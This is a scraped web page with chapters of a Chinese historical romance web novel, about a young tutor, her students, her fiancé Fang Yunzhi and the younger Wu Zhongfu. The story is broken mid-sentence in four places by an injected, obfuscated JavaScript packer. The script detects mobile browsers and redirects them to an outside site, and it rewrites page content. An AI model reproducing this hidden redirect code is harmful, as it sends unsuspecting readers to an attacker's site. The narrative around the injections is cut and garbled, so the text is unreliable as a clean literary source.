面对同窗的埋怨,吴中孚假笑着回了两字:“忘了。” 方韫之不满,“你这也太敷衍了吧,明知道我和明夷早有婚约,我和她都多少年没见了。” 吴中孚继续假笑,凉凉道:“记性不好,请见谅。” 方韫之也知道自己这位同窗的性子,除却读书论道,总是寡言少语,便也不再追问。只另起了个话头聊起前天先生布置的那篇策论,不知道是不是他的错觉,总感觉今天的吴中孚话较之以往还要少得多,此外还渗着一股寒气,奇怪。 将人送至,吴中孚转身欲要告退,方韫之将人喊住:“不看戏了?台上正要演《南柯记》。” 吴中孚顿住脚步,继续端着他那假笑道:“韫之兄方才路上的见解让我想着自己文章中的一个问题,我先改了去,免得等会忘了。” 方韫之一听心里顿生敬佩,“中孚小小年纪就有如此觉悟,难怪先生成日夸赞,尔等也得向你学习。” 吴中孚谦虚着点了点头,这时又突然围上几个十几岁的少年,一阵叽叽喳喳,好不容易将人打发走,少年步履急促地朝明夷处赶去。 游廊拐角处,明夷倚靠在廊柱边,等了好一会儿不见人来,视线瞟到廊下挂着的薄纱宫灯,垫脚从坠着的流苏里头抽了一根红线出来,低头编着花结打发时间。 吴中孚来时,正巧看见少女低垂着脑袋,纤长的脖颈弯成一道优雅的弧线,身姿薄薄一片似风中轻晃的丁香。 “明姐姐!”少年几步走到明夷面前,扬起的笑容与从花窗穿出的阳光叠在一起,灿烂得明夷霎时有些睁不开眼。 两人距离只有半步,能清楚感受到对方喷薄的呼吸,甚至,身上的体温。 太近了,明夷心想,微微抬手示意少年后退些,而吴中孚似乎误解了她的意思,又往前挪动了一些,明夷不查,一抬头就撞上了上去。 明夷个子已经算高了,却依旧矮吴中孚大半个头,这一撞就撞上了少年的下颌。 女子的发髻可不如看上去柔软,更别说明夷今日特意戴足了首饰。吴中孚捂着下颌闷哼一声,明夷连忙拨开人手查看——白皙皮肤上赫然几条红痕。 “你说你离那么近干嘛呢,哎呀早知道我就不往头上戴那么多东西了,痛不痛啊,这得多久才能好啊……”明夷满脸心疼,捏着少年的下颌喋喋不休。 吴中孚低垂眼帘,浑身僵直一动不敢动,远处似有脚步声传来,少年后退一步低声道:“不碍事的,好像有人要来了,这里不方便,明姐姐先随我走吧。” 明夷点点头,目光紧紧落在少年下巴上的红痕,内心一阵懊悔。 不过,少女猛得发现,这孩子何时长得这般高了?这才十五岁啊,啧啧啧,现在的小孩营养就是好,一个个蹿得比那地里的韭菜还快。 吴中孚带着明夷来到他的书房,从黄花梨条柜里头拿出一本精致的小册子——正是明夷送的生辰礼。 册子不厚,大约只有十几页,里头是明夷画的连环画,一页一个场景,画的是两人相识相熟的一些片段。吴中孚从未收到过这样的礼物,拿到手时就迫不及待地翻了一遍,还差点误了开席的时辰,攒了一肚子话想与明夷说道,但当真把人请到面前,却不知该从何说起。 明夷瞧见吴中孚拿出画册就有点想溜,虽然是她画的,也是她送的,但她有点作品羞耻症,别人拿着这种充满她自我意志的玩意儿想与她讨论,额……这跟公开处刑有何区别?老天爷啊,她觉得自己尴尬得脚趾能再扣出一个吴府出来,内心默默祈祷:求求了,少说两句,不要讨论…… 许是瞧出了明夷的不自然,吴中孚默默将刚打好的腹稿咽下,只对上明夷的眼睛,十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明夷对自己掀起的惊涛骇浪毫无所觉,只专心致志地给人上药,怕效果不好,还特意抹了三遍,也不知是不是心理作用,明夷觉着这药一抹完,红痕又淡了些,惊奇得与人报告完,又兴致冲冲地翻看着瓷瓶底部的名字,嘴里嘟囔道:“这药好用,哪里买的?我也要屯点。” 吴中孚暗暗抓紧了檀木把手,他心知肚明,哪里是药效好,只是他脸色发红,才显得伤痕没那么明显。但面上还是不动声色道:“这药是家里大夫配的,就这一瓶,外头应该买不到,姐姐喜欢就直接拿去吧。” 明夷专注研究药瓶,没有注意到少年的不对劲,听到只有一瓶,连忙放下推拒道:“这怎么行,你还要留着擦呢!” 吴中孚刚想开口说他可以擦别的,话到嘴边拐了个弯,提议道:“那我让大夫再做几瓶,到时候给姐姐送些过去?” 明夷想了想,颔首表示赞同。 院子里的丝竹声隐约传入书房,明夷侧耳听了听,好奇道:“这唱的什么?我好像没听过。” “应是汤学士的《南柯记》,姐姐想去听吗?” 明夷点点头,“这我真没听过,以前都是跟着娘亲她们听《牡丹江》、《紫钗记》这些。” 两人一起来到戏台侧边,吴中孚给人指了指女眷的位置,目送着人走去坐下,才提步离开。方韫之看见去而复返的吴中孚,有些惊讶道:“不是说不来了吗?欸…你这下巴怎么回事?” 吴中孚抬手摸了摸,嘴角偷偷弯起一个微妙的弧度,道:“改完了就过来了,这是方才拿笔时不小心在笔架上撞的,不碍事。” 方韫之点点头,叮嘱了两句下次注意之类的话语,又将注意力转回,只见台上人正缓缓唱着 “人生如寄,闻乐不乐何也。休忆人间,相逢未央。” 45. 风水轮流转 待正式开课那日,几位姑娘并郁姨娘走进花厅,就看见明夷一身竹青色交领襦衫,端坐在黄花梨卷云纹书案前,许是早就在此候着了。 见人到齐,明夷拿了一支大肚毛笔起身退后,众人才发现墙壁上原先挂着的字画已经没有了,紫檀多宝阁也被推到了角落,取而代之的是一张横挂的厚实熟宣,上头写着几个大字——开学第一课。 明夷清了清嗓子,将底下女孩们的注意力吸引到她身上,手指点着那几个大字,和睦道:“今个儿是咱们新学期开学第一课,先生在此有些规矩要讲,也有些要求需提,各位且仔细听讲。” 闻言,底下几个穿着各色春衫的女孩肩膀后张,腰杆挺直,双手放在书案上,均是目光炯炯地看着明夷。 王先生很是满意,转身在熟宣大字底下又写下一行略小的句子,写罢巡视一周,道:“大姑娘,请你来读读这句话。” 骤然被点名,大姑娘赵芸动作有些慌乱,左手按着玉兔镇纸,磕磕绊绊道:“…好的开…开端是成功的一半。” 明夷点点头,将人表扬了一通,赵芸小脸红红,更加认真的看着明夷。 “好的开端是成功的一半。”明夷又将这句话重复一遍,表情严肃道:“希望大家能够谨记这句话,无论是在咱们的课堂上,还是日后你们做别的什么事,都要知道起个好头的重要性,万万不能敷衍了事。” 女孩们认真点头,底下又是一阵步摇晃动的清脆珠玉声。 明夷又接着道:“咱们的课程,上四休三,即以七日为一个周期,上四天休息三天,每日上课的时辰上午是从辰时三刻到午时一刻,下午是从未时四刻到酉时一刻。” 见底下的女孩们都一直伸着脖子看她,明夷咳嗽两声,道:“光听能记住吗?赶紧拿出纸笔写下来。” 女孩们恍然,连忙提笔书写,二姑娘赵芝刚刚似乎走神了,悄悄戳了戳旁边的郁章章,小声道:“姨娘,是几时到几时来着?” 郁章章直接将自己记好的笔记递了过来,赵芝感激开抄。 明夷站在前面将底下一切尽收眼底,心里莫名暗爽。 见女孩们记得差不多了,明夷又接着道:“至于上课内容,诗、书、画我都会教,此外还有古琴和算筹。要学东西较多,各位若有不懂之处及时提出,课后也可来我屋问我,万不可不懂装懂,敷衍了事。而且——” 明夷截住话头,转身换了一张塾宣,女孩们这才发现墙上那幅字竟然还可以换纸,顿时感觉新鲜极了。明夷捏着她的大肚毛笔,又在新纸上写下两个个词语,“组会”和“汇报”。 “每周放假前的那个下午,我们会开一场组会,内容就是由各位汇报这周所学所想,时间控制在一刻钟左右,所有人汇报完后要依次进行点评。” 三姑娘赵芙举手,明夷点头示意,女孩道:“先生,点评是要如何点评?我们每个人都要说吗?” 明夷表扬道:“三姑娘这个问题问得很好,证明你有在认真听讲并思考,点评每个人都要说,被评论人还需做出回应,等你们全都评完一轮后我会进行最后的评价。至于形式,畅所欲言,可以说你赞同的,反对的,注意要拿出理由,也可以分享你听了之后的所思所想,总之形式不限,内容不拘,具体的可以等我们开过几次后再一起商定。” 说完又看向众人,朗声道:“明白了吗?” “明白了!”女孩们声如黄莺,很是悦耳,明夷满意点头。 规矩讲完,正式进入上课环节。作为一个合格的塾师,明夷提前找闻夫人做过背调,基本了解各个学生的情况。已知郁章章写诗最俏,赵芸最擅工笔画,赵芝甚喜各类游记,赵芸虽年纪最小,作的文章却很有一番见地。 学生统共不过四人,又个个乖巧听话,明夷上的很是舒心,充分发挥小班教学的优势,尽量做到因材施教,同时也进行兴趣引导以促进全面发展,几日下来,师生一堂其乐融融,无论家长、老师、学生,三方都很满意。 待到第四日下午,想着等会儿的组会,几个女孩提前约好,用完午膳就跑去赵芸房里讨论。 女孩们挤在一窝,脑袋凑到一块儿,提前交流了一下自己准备的发言,又互相讨论了一会各自的看法,对一下回应的“口供”,觉得差不多了,便手挽着手走去了花厅。 明夷午觉睡醒后来到花厅,发现往常都是踩点来的姑娘们今天一水的早到了,个个在书案前坐的规规矩矩,明夷挑了挑眉,暗道:组会的魅力。 女孩们按照齿序依次上台发言 是的,上台 明夷将自己的位置让了出来,女孩们起先有些不敢,认为这不合规矩,明夷只占到一旁,看着她们微笑鼓励,郁章章想了想,首当其冲,理了理裙子,拿着自己的诗稿站了上去。 有前人打头阵,后面的人也就自然多了,听完一轮发言与□□,明夷明显发现,这群孩子,被问了问题立马就能作答,有些她听着都有些刁钻的提问,也能面不改色的流畅答完……哦,看来是私下对过了,毕竟这事她也干过…… 无所谓反正,开这组会的目的也是希望她们互相多多交流学习,观点碰撞才更有助于思考,不至于被自个拘束在一隅。 轮到明夷做最后总结,年轻的塾师笑眯眯地看着底下四位学生,转身在横挂的宣纸上写下几个大字——有女同车,是她们第一节课讲的诗文。 “方才大家都提到了诗经这篇《有女同车》,也抒发了自己的见解,这很好。我听了各位的发言,也有个问题想问你们——” 明夷手执戒尺点了点书案,朗声道:“若教诸位移身入诗,尔等愿做那被赞颂的舜华女子,还是发现美的如玉君子?” 几缕海棠香悄无声息的从菱花格窗的缝隙里漫了进来,春阳斜斜切过地砖,将四个女孩的影子拉得长长,春日的暖风熏香跳跃在女孩们飞舞的绦带间,明夷坐在案前,静静地看着她们沉思的脸庞。 大姑娘赵芸抬头看向明夷,后者点了点头,女孩细声道:“舜华朝开暮落,像极了我院子里头的木槿,我努力将它们画下,但纸上的花总不及枝头的鲜活。去年花朝节,爹爹指着一地落瓣说‘开过便好’…” 女孩摩挲着案上的玉兔镇纸,“若能选,我要当如玉的君子!美丽转瞬即逝,但若能拥有发现美的能力,就能一直看见。” 这边话音刚落,二姑娘赵芝举手积极道:“我都要当!美人光坐车多没趣啊,我要驾田车去外头把漂亮事物都看个遍!舜华朝开时我就当美人簪花,暮落后就换玉冠束发做如玉君子。” 说完又戳了戳旁边的三妹妹,好奇道:“妹妹你是怎么想的?” 赵芙看着明夷,声音带着不符合年龄的沉静,“《白虎通义》有言‘玉者,德义之至也’,《神农经》又载木槿入药能治痢疾,依我看,做谁不重要,有价值,能入诗,能济人,就很好。” 明夷点点头,又看向方才一直沉默的郁章章,问道:“郁姨娘是如何想的?” 郁章章撑着脑袋,轻轻道:“我倒是想做那舜华美人。” 女孩目光越过书案,看向花几上插着姚黄牡丹的细颈美人瓶,“《瓶史》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15683895|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说‘花之凋零,亦可观也。’舜华之美,正美在留不住。若都似玉佩般千年温润,谁还怜惜晨昏里这一霎的鲜妍?李义山也有诗,‘留得残荷听雨声’,难道美之一物,只有在那枝头鲜活着才作数吗?” 又是休息日,明夷躲在屋里睡觉看书,偶然瞟见窗外的紫藤花开得正好,心里看得欢喜,于是便挽起袖子,借了闻夫人的小厨房做紫藤酥饼。 一不留神做得有些多了,在府里给闻夫人并几个女孩送了一圈还剩了不少。谷雨过后空气逐渐潮湿,酥饼也放不得,而厨子本人只爱做不爱吃,明夷盯着盘里的紫藤饼陷入沉思,视线逐渐游离,瞟见书案上的一方蕉叶白端砚——那是方韫之前天送过来的,说看着很合适明夷。 这不是刚好吗,明夷立刻唤人拿了个黑漆食盒过来,将紫藤酥饼装了进去,想了想又晃去闻夫人的小厨房搜罗一圈,两手提着装得满满的食盒,叫了顶轿子去书院外头候着。 明夷坐在摇摇晃晃的轿子里头,内心感叹,啊,自由的味道。 自打来了这边,身边无人管束,既定了亲且又有闺塾师这个身份,行动自由不少,虽达不到能在大街上随便晃悠的程度,但也可以随心出门。 轿子停在吴家学塾后头,明夷指了个小厮去门口拦人,不一会,就看见两个高瘦的身影走了过来。 方韫之看见与他一同出门的吴中孚,有些奇怪道:“你也有事出去?” 吴中孚没有回答,只继续向前加快了脚步。 方韫之也无所谓,两步将人追上,开心道:“明夷来找我。” 吴中孚脚步一顿,身侧的拳头握紧又松开,只淡淡道:“好巧,明姐姐也找我。” 明夷见人走近,先是掀开车帘一角,确定周围没人后,才提着食盒跳下轿子。 “喏,上午刚做的紫藤酥饼,你俩一人一份。吃完记得把食盒给我送回来。” 方韫之一脸惊喜的接过食盒,开心道:“你…你做的吗?我还没吃过你做的东西呢!欸你要送东西直接遣人过来说一声,我直接上赵府去取就行,最近雨水多,外出总是不太方便,仔细别……对了,那方砚台你用着可好?” 吴中孚听见“砚台”时神色暗了一下,只听明夷道:“不碍事,我坐轿子来的。砚台很漂亮,我拿到手就用它研墨写了幅大字。” 见方韫之又要言语,吴中孚悄悄往前站了一步,挡住青年半边视线,对着明夷亲昵道:“明姐姐做的东西是最好吃的了,只是真是太辛苦姐姐你了,平日给学生上课都那么累了,好不容易休息还抽出时间给我们做酥饼。” 明夷很满意这顶高帽,摆摆手潇洒道:“无事,你们喜欢就好,对于一个厨子来说,顾客的赞赏就是我们前进的动力!” 几人又说笑两句,见有人往这边过来,明夷道了声再见,又钻回轿子准备启程回赵府。 两人并肩回学塾,方韫之提着食盒,满脸幸福道:“明夷真好!” 吴中孚点点头表示认同。 方韫之又道:“可是我与她分别几年,实在是错过不少,她许多喜好我都不了解,真羡慕你能与她经常在一块。” 吴中孚转头看着方韫之点点头。 “那你能否多与我说说明夷的事?她待你如亲弟,那我们也如亲兄弟般!所以能不能麻烦你——” 吴中孚脚步一顿,周身气压忽得沉了下来,只见他冷笑着说了句,“不方便。”便抱着食盒丢下方韫之快步往屋内走去。 方韫之有些摸不着头脑,只当人要赶着回去作策论,自己也快步跟了上去。 46. 秋闱 八月秋闱落幕,参考学子好不容易从书案上堆积如山的经史子集中抬起头来,闲躺在末夏的最后一丛绿荫之下,转瞬却又陷入惶惶境地,焦虑地等待多年寒窗的回音。 待到满城丹桂飘香,一片金黄之际,万众瞩目的秋闱终于放榜了。观榜当天,不拘男女老少,人人走马观看,南院墙上,四张轻飘飘的黄纸承载了不知考生厚重的梦想。 明夷站在离人群稍远些的地方,打发过去看榜的小厮隔着老远就冲明夷那边叫喊 “中了!中了!方公子中了亚元!” 小厮响亮的一嗓子瞬间吸引了各处目光,方韫之一下成为众人焦点,挤在人群中被大家看猴似的稀罕围观。由于父老乡亲过于热情,青年突围无果,只得使劲踮起脚尖扬着脖颈朝明夷挥手。 忽被一衣着华贵的中年男子捉住袖口,扯得他一踉跄,狼狈转头看过去,只见那人满脸热切道 “方公子可否婚配?我家有一小女——” “诶诶诶我家有三个女儿,方公子你——” “你家女儿不是早许了人家了吗?哎呀方公子我有个侄女……” 原先恭贺赞叹的场面一下子变成了现场相亲大会,总是上一个话还没说完就被下一个截住话头,一双双紧盯方韫之的殷切目光活像是饿了三天的黄鼠狼看见农家养得肥美走地鸡,你一言我一语吵得闹哄哄的,根本无人听他解释。 方韫之眼睁睁地看着明夷站在人群外捂着帕子偷笑,生怕其误会什么,心里更加着急,身体左右使劲奈何还是挣脱不掉,索性大喊直接道:“我早有未婚妻了!我们很快就要成亲了!” 原本喧闹的众人顿时陷入了沉默。 趁周围人愣住之际,青年一鼓作气用力推开障碍,奋力挤出熙熙攘攘的人群,旋风似的跑到明夷面前,一把抓住少女的手,拉着人就往前冲,加速的风声掠过耳畔,吵嚷的众人被远远甩到后头。 待跑过一段,拐进一个隐蔽巷口,两人才气喘吁吁地停了下来。明夷一手撑着膝盖止不住地喘气,青年紧紧攥着少女的手,目光炯炯地看着她因奔跑而绯红的脸颊,左手虚罩在人背部似是想帮人顺气,然犹豫再三,最后也没落下来。 明夷缓过劲后直起身子,目光落在两人交握的双手上,假意咳嗽两声,方韫之愣了一下,慌忙撒开手,略略晃了两下手臂,欲盖弥彰似得整理起自己头上戴的端端正正的发冠。 狭小的巷子里头,两人相对而立,方韫之还在拨弄着脑袋上的玉发冠,明夷想了想,还是提醒道:“额…你再弄你那冠子,你的头发就要散…散架了。” 方韫之面上突然涨红,看着跟前面若春桃的少女,嘴角嗫嚅两下,开口道:“明夷,我——” 巷子口突然传来杂乱的脚步声伴随着吵嚷的谈话,青年咽回话头竖起耳朵一脸警惕,还不待他做出什么反应,就感觉自己左手被一柔软事物握住,巨大的拉力扯着他继续往前跑。 明夷拉着那么大个个子在曲窄的巷子里头穿梭,凉爽的秋风送来丹桂的清香,少女未束起的几缕长发似缱绻的情丝轻拂过青年耳畔,如擂的心跳在奔跑的脚步声中愈发清晰。 巷子路线绕曲,明夷无头苍蝇似的凭着直接带着人乱窜,再拐了不知几道弯后,看到突然出现的石壁,明夷直直刹住脚,后头的方韫之避闪不及,惯力作用下,温香软玉撞入怀中,发出一声闷哼。 “你没事吧!”明夷慌忙前进几步,抵着石壁满脸通红。 方韫之摇摇头,抿着嘴角努力平复着自己剧烈的呼吸,温声道:“没事,这没路了,跟我往这边来吧。” 巷子狭窄,很多时候容不得两人并肩,明夷乖乖跟在方韫之后头,前者时不时回头看人有没有跟上,待走到出口处,正对着吵嚷的大街,明夷轻声道谢正准备走出去,却不想被方韫之突然横起的胳膊拦住。 方才清明的视线忽然有了遮挡,青年咳嗽两声道:“你,你帷帽歪了,当…当然,现在好了,走吧我们一起。” 巷子出来,离刚刚放榜的地方并不远,明夷很快与麦冬他们会合,上轿之前突然想到什么,又回头看向一旁的方韫之,眨眨眼道:“差点忘说,方韫之,你这个亚元可太厉害了!” 方韫之被少女明媚的笑容晃了眼睛,一时呆愣在地没反应过来,明夷说了句回见后就转身往轿子上爬,轿夫正要出发时,终于回过神来的青年赶紧出声把人喊住。 “还有什么事?”明夷掀开帘子漏出半张脸来。 方韫之紧紧盯着明夷,忐忑道:“明…明天中午,方不方便在宝源楼一…一起用个午膳?” 明夷挑了挑眉,半响没有作答,青年又赶紧道:“不方便就算了,我就问问,千万别为难!” 明夷抓着帘子,扑哧一笑,“举人老爷请吃饭怎么会没空呢,不过,宝源楼可不便宜呢,你怕是要破费了。” 方韫之笑容明朗,“你能答应就是最好的事情,明日午时我去赵府接你可好?” 明夷点点头:“恭候大驾。” 回到赵府,明夷先去了趟鹿韭院,闻夫人早就得到了消息,抬眼瞧见明夷进门,便立马朗声道:“哎呦呦,让我看看是谁来啦,原来是未来的状元夫人啊!” 围着八仙桌吃果子的几个女孩笑嘻嘻地看着明夷,眼里的八卦意图显而易见。 明夷长叹一声,早上出门时就知道躲不过这一遭,索性换上上课时的严肃表情扫了一圈,女孩子们果真立刻安分了不少。只是小的好应付,剩下一个老的、还是最难缠的,明夷只有缴械投降的份。几个女孩子也是料到了这一点,齐齐把期待的目光投向嘴角噙笑的闻夫人。 丫鬟拿了个海棠软缎绣墩给明夷,然后又端来一碗桂花冰酥酪,明夷接过连吃了好几口,才一脸舒坦地将碗搁在小几上,虽说现已入秋,但除了早晚凉了一些,白日里头依旧紧着热,今天在外头跑了好一阵子,差不多可以覆盖她一周的运动量了,出的汗在回来的路上也已经干了,但总感觉还是有些不舒服,等会回去一定要好好泡个澡。 “想问什么就问吧,反正我不一定什么都说的哦。”明夷拈了块芙蓉糕,慢悠悠道。 闻夫人首先开炮,揶揄道:“听说那方公子带着你跑啦?别和我装蒜,别人虽然认不出你,我记美人可是记得牢牢的,旁人一形容我就知道是你。” 明夷表情无辜,咬了口芙蓉糕细细咽下,才道:“我没说不是啊。” 八仙桌旁立刻响起“哇哦”的兴奋声。 “那位方公子就这么在大庭广众之下拉着明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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闻夫人嗔道:“快别和我们兜圈子了,你可心悦这位方公子啊?这人我是见过的,端得是玉树临风,一表人才呢!周围好几家有姑娘的都在打听了。” 明夷叹了口气,“我和他自幼相识,彼此间也算得上熟悉,就和朋友一样。” “朋友?”闻夫人若有所思道 “是的,朋友。你问我心不心悦他,我自个儿也不清楚,不过今天他牵着我跑那一阵,我还真有点心动的感觉……只是…我也不知道是因为他,还是因为……” “也有可能是因为他长得好看。”大姑娘赵芸突然冷不丁的来了一句。 明夷立马笑倒,嗳唷道:“他的确长得好看,人也不错,还是我未婚夫,迟早要过一辈子的,我也乐意和他多培养培养感情。喏,他约我明天中午宝源楼吃饭,我答应了。” “宝源楼啊,那也真是舍得呢。”闻夫人啧啧道,“不过方家也不差钱,他家老爷在京城官做的那叫一个顺畅,听说下次考核通过,又要升官了呢。” 明夷一脸不关我事的眨了眨眼,冲着几个女孩道:“你们几个有什么想吃的?明天我给你们打包回来。” 女孩们一下子沸腾起来,纷纷挤到明夷面前报菜名。闻夫人看着她们五个挤作一团闹哄哄的样子,嘴角笑容愈发灿烂。 真好,她想。 47. 宝源楼 明夷回屋后,麦冬递上了顾静翕刚寄来的书信,不对,是两封,还有一封是徐淑仪的。 上月明夷在信中问了几个关于诗文的问题,她在课上给学生们顺口提到过,事后回想觉着讲得不好,但连翻了好些书也没什么头绪,所以将希望寄托于自己博学多才的母亲。 顾静翕循着女儿的疑问一一作了详细的回答,洋洋洒洒写了两页纸,末了还列了不少书给她参考,明夷莫名有种看论文的既视感。 但也不得不说,遇事还得是妈妈,这些问题她也拿去问过吴中孚与方韫之,倒也不是他们回的不好,可能是视角问题,总触不到她想要的点,也不合适讲与她的学生们听。后面她在写信时附上了自己一团乱麻的思考,顾静翕完美领会,给出了在明夷看来再好不过了的回答。 交流完学术,顾静翕另起一页,像无数位母亲般揪出明夷信里透露出来的细枝末节,展开无止境的联想与担忧,仿佛孩子只要不在自己身边,就处处料理不好生活。 夏秋之交天气多变,顾静翕不厌其烦的叮嘱女儿少吃冰、多添衣,说自己新得几块衣料子,一齐给她寄过来了,记得拿去做衣裳。上回明夷提到的好吃的酱菜,她回头自己试着做了一下,很成功,此次也给她寄了几罐过来,并叮嘱记得给吴中孚和方韫之分一些。 最后又提到自己最近在和徐淑仪学刺绣,认为自己进步显著,但徐淑仪却毫不留情的嘲笑她,所以特意寄来一方帕子,让明夷品评。 明夷打开母亲寄来的包裹,从里面翻出一方绢纱帕子出来,粉色的底色深浅不一,斜开着一枝木芙蓉,花瓣随风落下,还没到地底,倏又变成一只只蝴蝶飞了上去…… 客观来评,的确绣得很一般,但是吧,对着自己妈妈,客观这种东西是可以抛诸脑后的,明夷只一味溺爱。 母亲愿意去尝试做些别的东西,对此,她真的很开心。自父亲去世后,母亲虽总在她面前强撑着精神,但房里书案上密密麻麻的诗稿,纸上干涸的泪痕,眉间终日不散的悲愁,日渐宽松的衣带与丧失一切兴趣的态度……无不透露出她内心的枯败。 将帕子叠好揣到随身带着的荷包里,明夷又展开徐淑仪的信。 果然,徐淑仪在信里提到顾静翕最近整个人生动不少,找她学刺绣,也主动愿意和她一起去参加些聚会,两人还一起去隔壁县玩了几天…… 末了,又让明夷放宽心,只管照顾好自己,顾静翕那边都有她呢,又问了些吴中孚的近况,叮嘱两人要互相照看…… 麦冬走过来提醒浴室已备好热水,明夷点了点头,从旁边的桃木八仙立柜里拿出一个紫檀描金木盒,爱惜地抚了抚里头的信封,又将案上刚读完的两封整整齐齐放了进去。 走进浴室解下衣带,明夷舒服地坐在盛满温水的木桶里,闭目回忆信上的内容,感觉自己从身到心,好像都被浸在了暖水中。 第二日中午方韫之来赵府接明夷,少女将手里两罐酱菜递给他,并嘱咐道:“我娘寄来的,有一罐是给阿孚的,你明天见到他时替我捎过去。” 方韫之接过酱菜,看着明夷道:“等会儿你可以直接给他,中孚和我们一块吃饭。” 见少女有些惊讶,方韫之又有些小心翼翼道:“…不好意思,因为决定的时候有些晚了,没有事先通知你,额…如果你介意的话我去和他说——” “我怎么会介意呢!”明夷连忙打断道,看着青年面上如同孩童犯错般的忐忑表情,不由得觉着有些好笑,目光扫视一圈,“那阿孚呢?既然要一起吃饭他去哪里了?” 方韫之连忙道:“他直接去宝源楼等我们!” 明夷点点头,转身上轿,方韫之又紧在后头道歉,认为自己没有事先和她商量实在对不住。 明夷回头笑道:“你如果叫的别人我可能还真有点生气,不过阿孚不一样,而且!”明夷顿了顿,“多个人可以多点两个菜,看来我今天又有口福啦!” 昨天方韫之与明夷约好后就直接去宝源楼定位置,不料由于秋闱放榜,不少考生家里在宝源楼了定酒席庆祝,已经没有空位了。 方韫之如遭雷劈,刚和人约好了的,现下却…这可如何是好? 待人浑浑噩噩的回到书塾,勉强挤着笑容打发了前来道贺的同窗们,自个儿挑了个僻静位置拿了本书发呆。 吴中孚见人一幅如丧考妣般的样子,走上前小声询问道:“韫之兄这是怎么了,中了亚元不高兴?还是你拉着明姐姐跑时被她责骂了?” 边说着又自个儿摇了摇头,否认道:“不对,明姐姐性子那么好的人肯定不会说你,不过我还是要提醒韫之兄一句,你这样做还是有些鲁莽了……” 见吴中孚提到明夷,方韫之表情更加萎靡,吴中孚眯长了眼,笃定开口:“看来和明姐姐有关,到底怎么回事?” 方韫之想了想,吴家在当地产业繁多,没准吴中孚会有法子呢?于是便将来龙去脉合盘托出。 吴中孚听得额角青筋直跳,待人讲完,便直接道:“我家有宝源楼的几支股,我可以帮你订到每日中午的雅间,不过我有一个条件。” 方韫之双目一亮,表示洗耳恭听。 “我也要一起去。”吴中孚平静道 “?” 方韫之不解,他和明夷吃饭,你凑什么热闹?他俩是未婚夫妻啊!夫妻!以后是要住在一起过一辈子的!仁兄你要不听听你在说什么? 他记得吴中孚不是个爱管事的人,上回书院里有人闹矛盾,后面都要打起来了,大家看戏的看戏,乘机踹一脚的也不少,唯独他自个儿离得远远的,兀自看着手里的策论,头也不见抬一下,今天怎么突然? 吴中孚并不理会方韫之满脸的疑问,直直道:“明姐姐是我姐姐,你俩还没正式成亲,单独吃饭不合适,若要是叫人看着了,对明姐姐不好。” 方韫之皱眉,“你一块去就会好了吗?” 他觉得这理由也忒扯了,你又不是她亲弟弟,难道还能起到什么防火墙的效果?再说他选宝源楼一重要原因,就是因为这家酒楼封闭性好,房间和人都是。 吴中孚双手抱胸,手指随意敲打着胳膊,一脸你看着办的表情,无奈之下,方韫之只得道:“现在时候也不早了,突然多个人也没法及时通知明夷,这也不太好吧?” 吴中孚耸耸肩,“这就是你的事了,明日午时我在宝源楼等你们。” 好好的一场两人约会,结果变成三人约饭,方韫之痛心疾首,决定吸取教训下次一定要订好了地方再开口。不过看到明夷一幅高兴热络的样子,自己心里也轻松起来 也是,总之她高兴就成。 明夷见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15695796|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着吴中孚后将酱菜拿给了他,后者顺嘴提到自己昨天收到徐淑仪的信,明夷立马与他展开了友好交流。 方韫之坐在一边几次想加入话题,却发现自个儿怎么也插不进去,无奈放弃,只低头一个劲儿点菜。 徽菜有“三重”,重油、重色、重火功,宝源楼的徽菜堪称整个徽州府的一绝,虽定价颇高,其风味却无可替代,慕名前往的人不少,明夷来这大半年也才吃过一回。 大抵好菜都需要等,三人等了好一会儿,明夷怕冷场尴尬,东扯西扯,喋喋不休地与两人聊了好一会儿,幸亏这二人也很上道,眼看明夷话题穷尽,虽然平日都不是健谈的人,但也都绞尽脑汁的把话头续上,三人就这样尬聊了两刻多钟,第一道菜姗姗来迟,是一道冷盘,名曰刀板香。 方韫之大小在徽州长大,是三人当中对其水土最为熟悉的,也知道明夷喜欢琢磨吃食,当即热络的介绍道 “这道菜用的是徽州特有的黑猪,选取五花部位腌制后蒸熟,再切片置于香樟木板上,油脂透亮,咸香醇厚,再佐以蒜泥醋碟,很是开胃提鲜。” 明夷揶揄地看着人笑道:“韫之你是不是特意作了功课啊,介绍起来跟背书似的。” 方韫之含蓄一笑,拿起公筷给明夷夹了一片,认真道:“请你吃饭自然要做好万全准备。” 后头上菜的速度就逐渐快了起来,明夷酷爱吃笋,俗话说秋笋正当时,初秋新采的问政山笋切片与徽州腊肉同炖,笋脆肉香,甜润微咸,配米饭绝佳。 